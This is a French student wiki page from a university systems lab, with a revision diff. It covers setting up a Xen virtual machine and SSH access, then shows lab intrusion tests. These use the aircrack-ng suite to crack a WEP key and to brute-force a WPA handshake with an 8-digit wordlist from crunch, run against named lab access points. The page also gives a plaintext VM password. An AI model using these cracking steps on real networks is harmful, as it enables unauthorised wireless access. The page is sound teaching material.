TP sysres IMA5 2021/2022 G11 : Différence entre versions

De Wiki d'activités IMA
(Test d'intrusion)
Ligne 96 : Ligne 96 :
 
Commande pour se connecter à la VM : xen console Corona
 
Commande pour se connecter à la VM : xen console Corona
  
 +
=Configuration de la VM=
 +
A présent, on configure la VM.
 +
On installe openssh-server s'il n'est pas installé :
 +
apt install openssh-server
 +
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :
 +
PermitRootLogin without-password
 +
PubkeyAuthentication yes
 +
 +
Puis on recharge la configuration avec :
 +
systemctl reload ssh
 +
 +
Sur la zabeth, on créé une clé ssh avec :
 +
ssh-keygen -t ed25519
 +
 +
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys
 
=Test d'intrusion=
 
=Test d'intrusion=
  

Version du 29 novembre 2021 à 18:04

Creation de la machine virtuelle

On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton Pour ce faire, on se connecte d'abord en SSH sur root@capbreton On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière. J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.

La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation. On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.

xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye

On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :

lvcreate -L10G -n Corona1 storage
lvcreate -L10G -n Corona2 storage

On les formate en ext4 :

mkfs.ext4 /dev/storage/Corona1
mkfs.ext4 /dev/storage/Corona2

Enfin, on modifie le fichier /etc/xen/Corona.cfg :

disk        = [
                'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',
                'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',
             ]

devient :

disk        = [
                'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',
                'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',
                'phy:/dev/storage/Corona1,xvda3,w',
                'phy:/dev/storage/Corona2,xvda4,w',
             ]

et

vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]

devient :

vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]


Pour lancer la VM, on execute :

xl create -c /etc/xen/Corona.cfg


Dans la VM, on visualise les informations relatives au file system avec la commande :

cat /etc/fstab

xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :

mkdir /mnt/xvda3
mkdir /mnt/xvda4
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4

On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :

mv /var/* /mnt/xvda4

Puis dans /etc/fstab, on ajoute :

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Ensuite, on execute :

mount -a

Enfin, on vérifie que les partitions ajoutées existent :

lsblk


On ajoute ensuite la ligne suivante dans /etc/network/interfaces :

iface eth0 inet6 auto 

On applique les changements en redemarrant :

systemctl restart networking

On vérifie que la modification a eu lieu :

ip a


Raccourci pour quitter la VM : CTRL + ']'
Commande pour se connecter à la VM : xen console Corona

Configuration de la VM

A présent, on configure la VM. On installe openssh-server s'il n'est pas installé :

apt install openssh-server

On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :

PermitRootLogin without-password
PubkeyAuthentication yes

Puis on recharge la configuration avec :

systemctl reload ssh

Sur la zabeth, on créé une clé ssh avec :

ssh-keygen -t ed25519

On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys

Test d'intrusion

On commence par tenter de casser une clé WEP. Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :

airmon-ng

puis on lance (3 représente la channel utilisée)

airmon-ng start NOM_DE_L_INTERFACE 3

Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.
Pour visualiser les paquets sniffés, on execute alors

airodump-ng -c 3 wlan0mon

On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A On lance alors la commande :

airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon

Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :

aircrack-ng MonFichier-01.cap

Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.


On essaye à présent de casser une clé WPA. On scanne la bande de fréquence 9 :

airodump-ng -c 9 wlan0mon

On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A On récupère ensuite des handshakes avec la commande :

airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon

Par la suite, on souhaite utiliser l'utilitaire crunch.

apt install crunch

Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :

auto enp4s0
iface enp4s0 inet static
  address 172.26.145.121/24
  gateway 172.26.145.254

Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :

crunch 8 8 0123456789 -o password.lst

Enfin, on lance la commande :

aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap

Le processus peut prendre plusieurs heures.